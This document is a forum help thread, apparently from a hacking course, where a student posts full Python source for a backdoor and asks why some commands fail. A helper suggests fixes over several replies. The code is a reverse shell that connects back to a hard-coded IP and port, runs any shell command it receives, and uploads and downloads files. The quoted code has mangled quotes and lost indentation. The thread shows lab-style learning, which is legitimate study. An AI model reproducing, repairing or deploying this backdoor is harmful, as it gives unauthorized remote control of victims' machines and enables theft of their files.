    hello i wrote off all the backdoor code and everything works except when i try dir or more commands i get this error maybe someone could help me fix it

    BackDoor Code:

    #!/usr/bin/env python
    import socket
    import subprocess
    import json
    import os
    import base64

    class Backdoor:
    def __init__(self, ip, port):
    self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.connection.connect((ip, port))

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

    def reliable_receive(self):
    json_data = “”
    while True:
    try:
    json_data = json_data + self.connection.recv(1024)
    return json.loads(json_data)
    except ValueError:
    continue

    def execute_system_command(self, command):

    return subprocess.check_output(command, shell=True)

    def change_working_directory_to(self, path):
    os.chdir(path)
    return “[+] Changing working directory to ” + path

    def read_file(self, path):
    with open(path, “rb”) as file:
    return base64.b64encode(file.read())

    def write_file(self, path, content):
    with open(path, “wb”) as file:
    file.write(base64.b64decode(content))
    return “[+] Upload successful.”

    def run(self):
    while True:
    command = self.reliable_receive()

    try:
    if command[0] == “exit”:
    self.connection.close()
    exit()
    elif command[0] == “cd” and len(command) > 1:
    command_result = self.change_working_directory_to(command[1])
    elif command[0] == “download”:
    command_result = self.read_file(command[1])
    elif command[0] == “upload”:
    command_result = self.write_file(command[1], command[2])
    else:
    command_result = self.execute_system_command(command)
    except Exception:
    command_result = “[-] Error during comand execution.”

    self.reliable_send(command_result)

    my_backdoor = Backdoor(“192.168.79.137”, 4444)
    my_backdoor.run()

    Hi!
    You have another question about the same script and both issues might be related so answer just in one topic please. Can you share the code but with the proper indentation? Otherwise it’s not possible to read it properly, hence the error can’t be found.

    Greetings!

    Hi!
    Cool! Are you using a windows virtual machine as victim? If so, did you change the language of it? Or is there any file name in the current working directory which is in a different language other than english?

    Greetings!

    Hi!
    Ok, can you try to add a property in the reliable_send function? I mean in the backdoor:
    json_data = json.dumps(data, ensure_ascii=False)

    Let me know how it goes!

    Hi!
    It says that the error is in reliable_receive, where exactly did you made the changes? Can you share the modified code?

    Hi!
    It seems that last error is because you pressed ctrl + c, can you explain what happened?

    Greetings!
